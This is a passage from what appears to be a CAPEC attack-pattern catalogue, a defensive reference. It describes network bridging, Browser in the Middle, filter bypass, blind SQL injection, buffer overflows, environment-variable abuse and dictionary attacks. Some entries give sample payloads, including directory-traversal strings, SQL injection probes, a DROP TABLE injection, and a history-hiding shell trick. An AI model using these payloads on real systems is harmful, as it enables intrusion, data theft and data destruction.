    The adversary can abuse Network Address Translation (NAT) in firewalls and routers to manipulate traffic flow to their own design. With control of the network device, the adversary can manipulate NAT by either using existing configurations or creating their own to allow two previously unconnected networks to communicate.
    Some network devices can be configured to become a proxy server. Adversaries can set up or exploit an existing proxy server on compromised network devices to create a bridge between separate networks.
Medium
  • The adversary must have control of a network boundary device.
  • The adversary requires either high privileges or full control of a boundary device on a target network.
Medium: The adversary must understand how to manage the target network device to create or edit policies which will bridge networks. Draft High 3.9
161
Browser in the Middle (BiTM) Standard An adversary exploits the inherent functionalities of a web browser, in order to establish an unnoticed remote desktop connection in the victim's browser to the adversary's system. The adversary must deploy a web client with a remote desktop session that the victim can access. Unlike Adversary in the Browser, the victim does not need to install a malicious application. Browser in the Middle uses the inherent functionalities of a web browser to convince the victim they are browsing normally under the assumption that the connection is secure. All the actions performed by the victim in the open window are actually performed on the machine of the adversary. These victim-authenticated sessions are available to the adversary to use. All entered data such as passwords and usernames can be logged by the adversary and the content displayed to the victim can be altered arbitrarily. Varieties of multifactor authentication which rely solely on user input and do not use a form of hardware-based secret exchange are vulnerable to browser in the middle. 2023-01-24 01:00:00 Capec: CAPEC-701
Cwe: CWE-294
Cwe: CWE-345
Reference_from_capec: REF-747
2023-01-24 01:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Read Data
Access Control:
  • Gain Privileges
Authentication:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
  • Read Data
Communications
Software

Explore

  1. Identify potential targets: The adversary identifies an application or service that the target is likely to use.
  2. Techniques
    The adversary stands up a server to host the transparent browser and entices victims to use it by using a domain name similar to the legitimate application. In addition to the transparent browser, the adversary could also install a web proxy, sniffer, keylogger, and other tools to assist in their goals.

Experiment

  1. Lure victims: The adversary crafts a phishing campaign to lure unsuspecting victims into using the transparent browser.
  2. Techniques
    An adversary can create a convincing email with a link to download the web client and interact with the transparent browser.

Exploit

  1. Monitor and Manipulate Data: When the victim establishes the connection to the transparent browser, the adversary can view victim activity and make alterations to what the victim sees when browsing the web.
  2. Techniques
    Once a victim has established a connection to the transparent browser, the adversary can use installed tools such as a web proxy, keylogger, or additional malicious browser extensions to gather and manipulate data or impersonate the victim.
Medium
  • The adversary must create a convincing web client to establish the connection. The victim then needs to be lured onto the adversary's webpage. In addition, the victim's machine must not use local authentication APIs, a hardware token, or a Trusted Platform Module (TPM) to authenticate.
  • A web application with a client is needed to enable the victim's browser to establish a remote desktop connection to the system of the adversary.
Medium: Draft High 3.9
94
Using Leading 'Ghost' Character Sequences to Bypass Input Filters Detailed Some APIs will strip certain leading characters from a string of parameters. An adversary can intentionally introduce leading "ghost" characters (extra characters that don't affect the validity of the request at the API layer) that enable the input to pass the filters and therefore process the adversary's input. This occurs when the targeted API will accept input data in several syntactic forms and interpret it in the equivalent semantic way, while the filter does not take into account the full spectrum of the syntactic forms acceptable to the targeted API. 2014-06-23 02:00:00 Capec: CAPEC-3
Cwe: CWE-173
Cwe: CWE-41
Cwe: CWE-172
Cwe: CWE-179
Cwe: CWE-180
Cwe: CWE-181
Cwe: CWE-183
Cwe: CWE-184
Cwe: CWE-20
Cwe: CWE-74
Cwe: CWE-697
Cwe: CWE-707
Reference_from_capec: REF-1
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
Software
  1. Alternate Encoding with Ghost Characters in FTP and Web Servers Some web and FTP servers fail to detect prohibited upward directory traversals if the user- supplied pathname contains extra characters such as an extra leading dot. For example, a program that will disallow access to the pathname "../test.txt" may erroneously allow access to that file if the pathname is specified as ".../test.txt". This attack succeeds because 1) the input validation logic fails to detect the triple-dot as a directory traversal attempt (since it isn't dot-dot), 2) some part of the input processing decided to strip off the "extra" dot, leaving the dot-dot behind. Using the file system API as the target, the following strings are all equivalent to many programs: .../../../test.txt............/../../test.txt..?/../../test.txt..????????/../../test.txt../test.txt As you can see, there are many ways to make a semantically equivalent request. All these strings ultimately result in a request for the file ../test.txt.

Explore

  1. Survey the application for user-controllable inputs: Using a browser, an automated tool or by inspecting the application, an adversary records all entry points to the application.
  2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all user input entry points visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.
    Manually inspect the application to find entry points.

Experiment

  1. Probe entry points to locate vulnerabilities: The adversary uses the entry points gathered in the "Explore" phase as a target list and injects various leading 'Ghost' character sequences to determine how to application filters them.
  2. Techniques
    Add additional characters to common sequences such as "../" to see how the application will filter them.
    Try repeating special characters (?, @, #, *, etc.) at the beginning of user input to see how the application filters these out.

Exploit

  1. Bypass input filtering: Using what the adversary learned about how the application filters input data, they craft specific input data that bypasses the filter. This can lead to directory traversal attacks, arbitrary shell command execution, corruption of files, etc.
Medium
  • The targeted API must ignore the leading ghost characters that are used to get past the filters for the semantics to be the same.
Medium: The ability to make an API request, and knowledge of "ghost" characters that will not be filtered by any input validation. These "ghost" characters must be known to not affect the way in which the request will be interpreted. Draft Medium 3.9
267
Using Alternative IP Address Encodings Detailed This attack relies on the adversary using unexpected formats for representing IP addresses. Networked applications may expect network location information in a specific format, such as fully qualified domains names (FQDNs), URL, IP address, or IP Address ranges. If the location information is not validated against a variety of different possible encodings and formats, the adversary can use an alternate format to bypass application access control. 2014-06-23 02:00:00 Capec: CAPEC-4
Cwe: CWE-291
Cwe: CWE-173
Reference_from_capec: REF-1
2022-02-22 01:00:00 2.1 Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
Software
  1. An adversary identifies an application server that applies a security policy based on the domain and application name. For example, the access control policy covers authentication and authorization for anyone accessing http://example.domain:8080/application. However, by using the IP address of the host instead (http://192.168.0.1:8080/application), the application authentication and authorization controls may be bypassed. The adversary relies on the victim applying policy to the namespace abstraction and not having a default deny policy in place to manage exceptions.

Explore

  1. Survey the application for IP addresses as user input: Using a browser, an automated tool or by inspecting the application, an adversary records all entry points to the application where IP addresses are used.
  2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all user input entry points visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.
    Manually inspect the application to find entry points.

Experiment

  1. Probe entry points to locate vulnerabilities: The adversary uses the entry points gathered in the "Explore" phase as a target list and attempts alternate IP address encodings, observing application behavior. The adversary will also attempt to access the application through an alternate IP address encoding to see if access control changes
  2. Techniques
    Instead of using a URL, use the IP address that the URL resolves to
    Specify a port directly to a URL input
    Omit or add "http://" or "https://" to a URL to see if the application behaves differently

Exploit

  1. Bypass access control: Using an alternate IP address encoding, the adversary will either access the application or give the alternate encoding as input, bypassing access control restrictions.
Medium
  • The target software must fail to anticipate all of the possible valid encodings of an IP/web address.
  • The adversary must have the ability to communicate with the server.
  • The adversary needs to have knowledge of an alternative IP address encoding that bypasses the access control policy of an application. Alternatively, the adversary can simply try to brute-force various encoding possibilities.
Low: The adversary has only to try IP address format combinations. Draft High 3.9
267
Blue Boxing Detailed This type of attack against older telephone switches and trunks has been around for decades. A tone is sent by an adversary to impersonate a supervisor signal which has the effect of rerouting or usurping command of the line. While the US infrastructure proper may not contain widespread vulnerabilities to this type of attack, many companies are connected globally through call centers and business process outsourcing. These international systems may be operated in countries which have not upgraded Telco infrastructure and so are vulnerable to Blue boxing. Blue boxing is a result of failure on the part of the system to enforce strong authorization for administrative functions. While the infrastructure is different than standard current applications like web applications, there are historical lessons to be learned to upgrade the access control for administrative functions. This attack pattern is included in CAPEC for historical purposes. 2014-06-23 02:00:00 Capec: CAPEC-5
Cwe: CWE-285
Reference_from_capec: REF-1
2023-01-24 01:00:00 2.1 Availability:
  • Resource Consumption (Denial of Service)
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
Communications
Software
  1. An adversary identifies a vulnerable CCITT-5 phone line, and sends a combination tone to the switch in order to request administrative access. Based on tone and timing parameters the request is verified for access to the switch. Once the adversary has gained control of the switch launching calls, routing calls, and a whole host of opportunities are available.
None Medium
  • System must use weak authentication mechanisms for administrative functions.
  • CCITT-5 or other vulnerable lines, with the ability to send tones such as combined 2,400 Hz and 2,600 Hz tones to the switch
Low: Given a vulnerable phone system, the attackers' technical vector relies on attacks that are well documented in cracker 'zines and have been around for decades. Obsolete Very High 3.9
220
Blind SQL Injection Detailed Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the adversary constructs input strings that probe the target through simple Boolean SQL expressions. The adversary can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the adversary determines how and where the target is vulnerable to SQL Injection. 2014-06-23 02:00:00 Capec: CAPEC-7
Cwe: CWE-89
Cwe: CWE-209
Cwe: CWE-74
Cwe: CWE-20
Cwe: CWE-697
Cwe: CWE-707
Owasp Attacks: Blind SQL Injection
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Confidentiality:
  • Read Data
  • Execute Unauthorized Commands (Run Arbitrary Code)
Software
  1. An adversary may try entering something like "username' AND 1=1; --" in an input field. If the result is the same as when the adversary entered "username" in the field, then the adversary knows that the application is vulnerable to SQL Injection. The adversary can then ask yes/no questions from the database server to extract information from it. For example, the adversary can extract table names from a database using the following types of queries: "username' AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 108". If the above query executes properly, then the adversary knows that the first character in a table name in the database is a letter between m and z. If it doesn't, then the adversary knows that the character must be between a and l (assuming of course that table names only contain alphabetic characters). By performing a binary search on all character positions, the adversary can determine all table names in the database. Subsequently, the adversary may execute an actual attack and send something like: "username'; DROP TABLE trades; --
  2. In the PHP application TimeSheet 1.1, an adversary can successfully retrieve username and password hashes from the database using Blind SQL Injection. If the adversary is aware of the local path structure, the adversary can also remotely execute arbitrary code and write the output of the injected queries to the local path. Blind SQL Injection is possible since the application does not properly sanitize the $_POST['username'] variable in the login.php file. See also: CVE-2006-4705

Explore

  1. [Hypothesize SQL queries in application]Generated hypotheses regarding the SQL queries in an application. For example, the adversary may hypothesize that their input is passed directly into a query that looks like: "SELECT * FROM orders WHERE ordernum = _____"or"SELECT * FROM orders WHERE ordernum IN (_____)"or"SELECT * FROM orders WHERE ordernum in (_____) ORDER BY _____" Of course, there are many other possibilities.
  2. Techniques
    Research types of SQL queries and determine which ones could be used at various places in an application.
  3. [Determine how to inject information into the queries]Determine how to inject information into the queries from the previous step such that the injection does not impact their logic. For example, the following are possible injections for those queries: "5' OR 1=1; --"and"5) OR 1=1; --"and"ordernum DESC; --"
  4. Techniques
    Add clauses to the SQL queries such that the query logic does not change.
    Add delays to the SQL queries in case server does not provide clear error messages (e.g. WAITFOR DELAY '0:0:10' in SQL Server or BENCHMARK(1000000000,MD5(1) in MySQL). If these can be injected into the queries, then the length of time that the server takes to respond reveals whether the query is injectable or not.

Experiment

  1. Determine user-controllable input susceptible to injection: Determine the user-controllable input susceptible to injection. For each user-controllable input that the adversary suspects is vulnerable to SQL injection, attempt to inject the values determined in the previous step. If an error does not occur, then the adversary knows that the SQL injection was successful.
  2. Techniques
    Use web browser to inject input through text fields or through HTTP GET parameters.
    Use a web application debugging tool such as Tamper Data, TamperIE, WebScarab,etc. to modify HTTP POST parameters, hidden fields, non-freeform fields, etc.
    Use network-level packet injection tools such as netcat to inject input
    Use modified client (modified by reverse engineering) to inject input.
  3. Determine database type: Determines the type of the database, such as MS SQL Server or Oracle or MySQL, using logical conditions as part of the injected queries
  4. Techniques
    Try injecting a string containing char(0x31)=char(0x31) (this evaluates to 1=1 in SQL Server only)
    Try injecting a string containing 0x313D31 (this evaluates to 1=1 in MySQL only)
    Inject other database-specific commands into input fields susceptible to SQL Injection. The adversary can determine the type of database that is running by checking whether the query executed successfully or not (i.e. whether the adversary received a normal response from the server or not).

Exploit

  1. Extract information about database schema: Extract information about database schema by getting the database to answer yes/no questions about the schema.
  2. Techniques
    Automatically extract database schema using a tool such as Absinthe.
    Manually perform the blind SQL Injection to extract desired information about the database schema.
  3. Exploit SQL Injection vulnerability: Use the information obtained in the previous steps to successfully inject the database in order to bypass checks or modify, add, retrieve or delete data from the database
  4. Techniques
    Use information about how to inject commands into SQL queries as well as information about the database schema to execute attacks such as dropping tables, inserting records, etc.
High
  • SQL queries used by the application to store, retrieve or modify data.
  • User-controllable input that is not properly validated by the application as part of SQL queries.
  • None: No specialized resources are required to execute this type of attack.
Medium: Determining the database type and version, as well as the right number and type of parameters to the query being injected in the absence of error messages requires greater skill than reverse-engineering database error messages. Draft High 3.9
66
Buffer Overflow in an API Call Detailed This attack targets libraries or shared code modules which are vulnerable to buffer overflow attacks. An adversary who has knowledge of known vulnerable libraries or shared code can easily target software that makes use of these libraries. All clients that make use of the code library thus become vulnerable by association. This has a very broad effect on security across a system, usually affecting more than one software process. 2014-06-23 02:00:00 Capec: CAPEC-8
Cwe: CWE-120
Cwe: CWE-119
Cwe: CWE-118
Cwe: CWE-74
Cwe: CWE-20
Cwe: CWE-680
Cwe: CWE-733
Cwe: CWE-697
Reference_from_capec: REF-1
2022-09-29 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Modify Data
Availability:
  • Unreliable Execution
  • Execute Unauthorized Commands (Run Arbitrary Code)
Confidentiality:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Read Data
Software
  1. Attack Example: Libc in FreeBSD A buffer overflow in the FreeBSD utility setlocale (found in the libc module) puts many programs at risk all at once.
  2. Xtlib A buffer overflow in the Xt library of the X windowing system allows local users to execute commands with root privileges.

Explore

  1. Identify target application: The adversary, with knowledge of vulnerable libraries or shared code modules, identifies a target application or program that makes use of these.

Experiment

  1. Find injection vector: The adversary attempts to use the API, and if they can they send a large amount of data to see if the buffer overflow attack really does work.
  2. Techniques
    Provide large input to a program or application and observe the behavior. If there is a crash, this means that a buffer overflow attack is possible.
  3. Craft overflow content: The adversary crafts the content to be injected based on their knowledge of the vulnerability and their desired outcome. If the intent is to simply cause the software to crash, the content need only consist of an excessive quantity of random data. If the intent is to leverage the overflow for execution of arbitrary code, the adversary will craft a set of content that not only overflows the targeted buffer but does so in such a way that the overwritten return address is replaced with one of the adversaries' choosing which points to code injected by the adversary.
  4. Techniques
    Create malicious shellcode that will execute when the program execution is returned to it.
    Use a NOP-sled in the overflow content to more easily "slide" into the malicious code. This is done so that the exact return address need not be correct, only in the range of all of the NOPs

Exploit

  1. Overflow the buffer: Using the API as the injection vector, the adversary injects the crafted overflow content into the buffer.
High
  • The target host exposes an API to the user.
  • One or more API functions exposed by the target host has a buffer overflow vulnerability.
Low: An adversary can simply overflow a buffer by inserting a long string into an adversary-modifiable injection vector. The result can be a DoS. High: Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap can require a higher skill level. Draft High 3.9
100
Buffer Overflow in Local Command-Line Utilities Detailed This attack targets command-line utilities available in a number of shells. An adversary can leverage a vulnerability found in a command-line utility to escalate privilege to root. 2014-06-23 02:00:00 Capec: CAPEC-9
Cwe: CWE-120
Cwe: CWE-118
Cwe: CWE-119
Cwe: CWE-74
Cwe: CWE-20
Cwe: CWE-680
Cwe: CWE-733
Cwe: CWE-697
Reference_from_capec: REF-1
2022-09-29 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Modify Data
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Unreliable Execution
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Read Data
Software
  1. Attack Example: HPUX passwd A buffer overflow in the HPUX passwd command allows local users to gain root privileges via a command-line option. Attack Example: Solaris getopt A buffer overflow in Solaris's getopt command (found in libc) allows local users to gain root privileges via a long argv[0].

Explore

  1. Identify target system: The adversary first finds a target system that they want to gain elevated priveleges on. This could be a system they already have some level of access to or a system that they will gain unauthorized access at a lower privelege using some other means.
  2. Find injection vector: The adversary identifies command line utilities exposed by the target host that contain buffer overflow vulnerabilites. The adversary likely knows which utilities have these vulnerabilities and what the effected versions are, so they will also obtain version numbers for these utilities.

Experiment

  1. Craft overflow command: Once the adversary has found a vulnerable utility, they will use their knownledge of the vulnerabilty to create the command that will exploit the buffer overflow.

Exploit

  1. Overflow the buffer: Using the injection vector, the adversary executes the crafted command, gaining elevated priveleges on the machine.
High
  • The target host exposes a command-line utility to the user.
  • The command-line utility exposed by the target host has a buffer overflow vulnerability that can be exploited.
Low: An adversary can simply overflow a buffer by inserting a long string into an adversary-modifiable injection vector. The result can be a DoS. High: Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap can require a higher skill level. Draft High 3.9
100
Buffer Overflow via Environment Variables Detailed This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the adversary finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables. Although the focus of this attack is putting excessive content into an environment variable that is loaded into a buffer, environment variables can be used to assist a classic buffer overflow attack as well. In the case where the buffer used in a traditional buffer overflow attack is not large enough to store the adversary's shell code, they will store the shell code in an environment variable and attempt to return to its address, rather than back into the data they wrote to the buffer. 2014-06-23 02:00:00 Capec: CAPEC-10
Cwe: CWE-120
Cwe: CWE-302
Cwe: CWE-118
Cwe: CWE-119
Cwe: CWE-74
Cwe: CWE-99
Cwe: CWE-20
Cwe: CWE-680
Cwe: CWE-733
Cwe: CWE-697
Owasp Attacks: Buffer Overflow via Environment Variables
Reference_from_capec: REF-1
Reference_from_capec: REF-2
2022-09-29 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Modify Data
Availability:
  • Unreliable Execution
  • Execute Unauthorized Commands (Run Arbitrary Code)
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Read Data
  • Gain Privileges
Software
  1. A buffer overflow in sccw allows local users to gain root access via the $HOME environmental variable. See also: CVE-1999-0906
  2. A buffer overflow in the rlogin program involves its consumption of the $TERM environmental variable. See also: CVE-1999-0046

Explore

  1. Identify target application: The adversary identifies a target application or program to perform the buffer overflow on. In this attack the adversary looks for an application that loads the content of an environment variable into a buffer.

Experiment

  1. Find injection vector: The adversary identifies an injection vector to deliver the excessive content to the targeted application's buffer.
  2. Techniques
    Change the values of environment variables thought to be used by the application to contain excessive data. If the program is loading the value of the environment variable into a buffer, this could cause a crash and an attack vector will be found.
  3. Craft overflow content: The adversary crafts the content to be injected. If the intent is to simply cause the software to crash, the content need only consist of an excessive quantity of random data. If the intent is to leverage the overflow for execution of arbitrary code, the adversary crafts the payload in such a way that the overwritten return address is replaced with one of the adversary's choosing.
  4. Techniques
    Create malicious shellcode that will execute when the program execution is returned to it.
    Use a NOP-sled in the overflow content to more easily "slide" into the malicious code. This is done so that the exact return address need not be correct, only in the range of all of the NOPs

Exploit

  1. Overflow the buffer: Using the injection vector, the adversary injects the crafted overflow content into the buffer.
High
  • The application uses environment variables.
  • An environment variable exposed to the user is vulnerable to a buffer overflow.
  • The vulnerable environment variable uses untrusted data.
  • Tainted data used in the environment variables is not properly validated. For instance boundary checking is not done before copying the input data to a buffer.
Low: An attacker can simply overflow a buffer by inserting a long string into an attacker-modifiable injection vector. The result can be a DoS. High: Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap can require a higher skill level. Draft High 3.9
100
Cause Web Server Misclassification Detailed An attack of this type exploits a Web server's decision to take action based on filename or file extension. Because different file types are handled by different server processes, misclassification may force the Web server to take unexpected action, or expected actions in an unexpected sequence. This may cause the server to exhaust resources, supply debug or system data to the attacker, or bind an attacker to a remote process. This type of vulnerability has been found in many widely used servers including IIS, Lotus Domino, and Orion. The attacker's job in this case is straightforward, standard communication protocols and methods are used and are generally appended with malicious information at the tail end of an otherwise legitimate request. The attack payload varies, but it could be special characters like a period or simply appending a tag that has a special meaning for operations on the server side like .jsp for a java application server. The essence of this attack is that the attacker deceives the server into executing functionality based on the name of the request, i.e. login.jsp, not the contents. 2014-06-23 02:00:00 Capec: CAPEC-11
Cwe: CWE-430
Attack: T1036.006
Reference_from_capec: REF-1
Reference_from_capec: REF-6
2022-09-29 02:00:00 2.1 Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Read Data
  • Gain Privileges
Software
  1. J2EE application servers are supposed to execute Java Server Pages (JSP). There have been disclosure issues relating to Orion Application Server, where an attacker that appends either a period (.) or space characters to the end of a legitimate Http request, then the server displays the full source code in the attackers' web browser. http://victim.site/login.jsp. Since remote data and directory access may be accessed directly from the JSP, this is a potentially very serious issue. [REF-6]

Explore

  1. Footprint file input vectors: Manually or using an automated tool, an attacker searches for all input locations where a user has control over the filenames or MIME types of files submitted to the web server.
  2. Techniques
    Attacker manually crawls application to identify file inputs
    Attacker uses an automated tool to crawl application identify file inputs
    Attacker manually assesses strength of access control protecting native application files from user control
    Attacker explores potential for submitting files directly to the web server via independently constructed HTTP Requests

Experiment

  1. File misclassification shotgunning: An attacker makes changes to file extensions and MIME types typically processed by web servers and looks for abnormal behavior.
  2. Techniques
    Attacker submits files with switched extensions (e.g. .php on a .jsp file) to web server.
    Attacker adds extra characters (e.g. adding an extra . after the file extension) to filenames of files submitted to web server.
  3. File misclassification sniping: Understanding how certain file types are processed by web servers, an attacker crafts varying file payloads and modifies their file extension or MIME type to be that of the targeted type to see if the web server is vulnerable to misclassification of that type.
  4. Techniques
    Craft a malicious file payload, modify file extension to the targeted file type and submit it to the web server.
    Craft a malicious file payload, modify its associated MIME type to the targeted file type and submit it to the web server.

Exploit

  1. Disclose information: The attacker, by manipulating a file extension or MIME type is able to make the web server return raw information (not executed).
  2. Techniques
    Manipulate the file names that are explicitly sent to the server.
    Manipulate the MIME sent in order to confuse the web server.
Medium
  • Web server software must rely on file name or file extension for processing.
  • The attacker must be able to make HTTP requests to the web server.
  • None: No specialized resources are required to execute this type of attack.
Low: To modify file name or file extension Medium: To use misclassification to force the Web server to disclose configuration information, source, or binary data Draft High 3.9
635
Subverting Environment Variable Values Detailed The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary. 2014-06-23 02:00:00 Capec: CAPEC-13
Cwe: CWE-353
Cwe: CWE-285
Cwe: CWE-302
Cwe: CWE-74
Cwe: CWE-15
Cwe: CWE-73
Cwe: CWE-20
Cwe: CWE-200
Attack: T1562.003
Attack: T1574.006
Attack: T1574.007
Reference_from_capec: REF-1
2022-02-22 01:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Unreliable Execution
Authorization:
  • Bypass Protection Mechanism
Access Control:
  • Bypass Protection Mechanism
Accountability:
  • Hide Activities
Confidentiality:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Bypass Protection Mechanism
  • Read Data
Software
  1. Changing the LD_LIBRARY_PATH environment variable in TELNET will cause TELNET to use an alternate (possibly Trojan) version of a function library. The Trojan library must be accessible using the target file system and should include Trojan code that will allow the user to log in with a bad password. This requires that the adversary upload the Trojan library to a specific location on the target. As an alternative to uploading a Trojan file, some file systems support file paths that include remote addresses, such as \\\172.16.2.100\shared_files\trojan_dll.dll. See also: Path Manipulation (CVE-1999-0073)
  2. The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to "ignorespace". HISTCONTROL can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that " ls" will not be saved, but "ls" would be saved by history. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.

Explore

  1. Probe target application: The adversary first probes the target application to determine important information about the target. This information could include types software used, software versions, what user input the application consumes, and so on. Most importantly, the adversary tries to determine what environment variables might be used by the underlying software, or even the application itself.

Experiment

  1. Find user-controlled environment variables: Using the information found by probing the application, the adversary attempts to manipulate any user-controlled environment variables they have found are being used by the application, or suspect are being used by the application, and observe the effects of these changes. If the adversary notices any significant changes to the application, they will know that a certain environment variable is important to the application behavior and indicates a possible attack vector.
  2. Techniques
    Alter known environment variables such as "$PATH", "$HOSTNAME", or "LD_LIBRARY_PATH" and see if application behavior changes.

Exploit

  1. Manipulate user-controlled environment variables: The adversary manipulates the found environment variable(s) to abuse the normal flow of processes or to gain access to privileged resources.
High
10
  • An environment variable is accessible to the user.
  • An environment variable used by the application can be tainted with user supplied data.
  • Input data used in an environment variable is not validated properly.
  • The variables encapsulation is not done properly. For instance setting a variable as public in a class makes it visible and an adversary may attempt to manipulate that variable.
Low: In a web based scenario, the client controls the data that it submitted to the server. So anybody can try to send malicious data and try to bypass the authentication mechanism. High: Some more advanced attacks may require knowledge about protocols and probing technique which help controlling a variable. The malicious user may try to understand the authentication mechanism in order to defeat it. Stable Very High 3.9
77
Client-side Injection-induced Buffer Overflow Detailed This type of attack exploits a buffer overflow vulnerability in targeted client software through injection of malicious content from a custom-built hostile service. This hostile service is created to deliver the correct content to the client software. For example, if the client-side application is a browser, the service will host a webpage that the browser loads. 2014-06-23 02:00:00 Capec: CAPEC-14
Cwe: CWE-120
Cwe: CWE-353
Cwe: CWE-118
Cwe: CWE-119
Cwe: CWE-74
Cwe: CWE-20
Cwe: CWE-680
Cwe: CWE-697
Reference_from_capec: REF-1
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Resource Consumption (Denial of Service)
  • Execute Unauthorized Commands (Run Arbitrary Code)
Confidentiality:
  • Read Data
  • Execute Unauthorized Commands (Run Arbitrary Code)
Software
  1. Authors often use tags in HTML documents. For example In Internet Explorer 4.0 an adversary attacker supplies an overly long path in the SRC= directive, the mshtml.dll component will suffer a buffer overflow. This is a standard example of content in a Web page being directed to exploit a faulty module in the system. There are potentially thousands of different ways data can propagate into a given system, thus these kinds of attacks will continue to be found in the wild.

Explore

  1. Identify target client-side application: The adversary identifies a target client-side application to perform the buffer overflow on. The most common are browsers. If there is a known browser vulnerability an adversary could target that.

Experiment

  1. Find injection vector: The adversary identifies an injection vector to deliver the excessive content to the targeted application's buffer.
  2. Techniques
    Many times client side applications will be open source, so an adversary can examine the source code to identify possible injection vectors.
    Examine APIs of the client-side application and look for areas where a buffer overflow might be possible.
  3. Create hostile service: The adversary creates a hostile service that will deliver content to the client-side application. If the intent is to simply cause the software to crash, the content need only consist of an excessive quantity of random data. If the intent is to leverage the overflow for execution of arbitrary code, the adversary crafts the payload in such a way that the overwritten return address is replaced with one of the adversary's choosing.
  4. Techniques
    If the client-side application is a browser, the adversary will create a service that delivers a malicious webpage to the browser.
    Create malicious shellcode that will execute when the program execution is returned to it.
    Use a NOP-sled in the overflow content to more easily "slide" into the malicious code. This is done so that the exact return address need not be correct, only in the range of all of the NOPs

Exploit

  1. Overflow the buffer: Using the injection vector, the adversary delivers the content to the client-side application using the hostile service and overflows the buffer.
  2. Techniques
    If the adversary is targeting a local client-side application, they just need to use the service themselves.
    If the adversary is attempting to cause an overflow on an external user's client-side application, they must get the user to attach to their service by some other means. This could be getting a user to visit their hostile webpage to target a user's browser.
Medium
  • The targeted client software communicates with an external server.
  • The targeted client software has a buffer overflow vulnerability.
Low: To achieve a denial of service, an attacker can simply overflow a buffer by inserting a long string into an attacker-modifiable injection vector. High: Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap requires a more in-depth knowledge and higher skill level. Draft High 3.9
100
Dictionary-based Password Attack Detailed An attacker tries each of the words in a dictionary as passwords to gain access to the system via some user's account. If the password chosen by the user was a word within the dictionary, this attack will be successful (in the absence of other mitigations). This is a specific instance of the password brute forcing attack pattern. Dictionary Attacks differ from similar attacks such as Password Spraying (CAPEC-565) and Credential Stuffing (CAPEC-600), since they leverage unknown username/password combinations and don't care about inducing account lockouts. 2014-06-23 02:00:00 Capec: CAPEC-16
Cwe: CWE-521
Cwe: CWE-262
Cwe: CWE-263
Cwe: CWE-654
Cwe: CWE-307
Cwe: CWE-308
Cwe: CWE-309
2020-12-17 01:00:00 2.1 Integrity:
  • Modify Data
Access Control:
  • Gain Privileges
Authentication:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
  • Read Data
Software
  1. A system user selects the word "treacherous" as their passwords believing that it would be very difficult to guess. The password-based dictionary attack is used to crack this password and gain access to the account.
  2. The Cisco LEAP challenge/response authentication mechanism uses passwords in a way that is susceptible to dictionary attacks, which makes it easier for remote attackers to gain privileges via brute force password guessing attacks. Cisco LEAP is a mutual authentication algorithm that supports dynamic derivation of session keys. With Cisco LEAP, mutual authentication relies on a shared secret, the user's logon password (which is known by the client and the network), and is used to respond to challenges between the user and the Remote Authentication Dial-In User Service (RADIUS) server. Methods exist for someone to write a tool to launch an offline dictionary attack on password-based authentications that leverage Microsoft MS-CHAP, such as Cisco LEAP. The tool leverages large password lists to efficiently launch offline dictionary attacks against LEAP user accounts, collected through passive sniffing or active techniques.See also: CVE-2003-1096

Explore

  1. Determine application's/system's password policy: Determine the password policies of the target application/system.
  2. Techniques
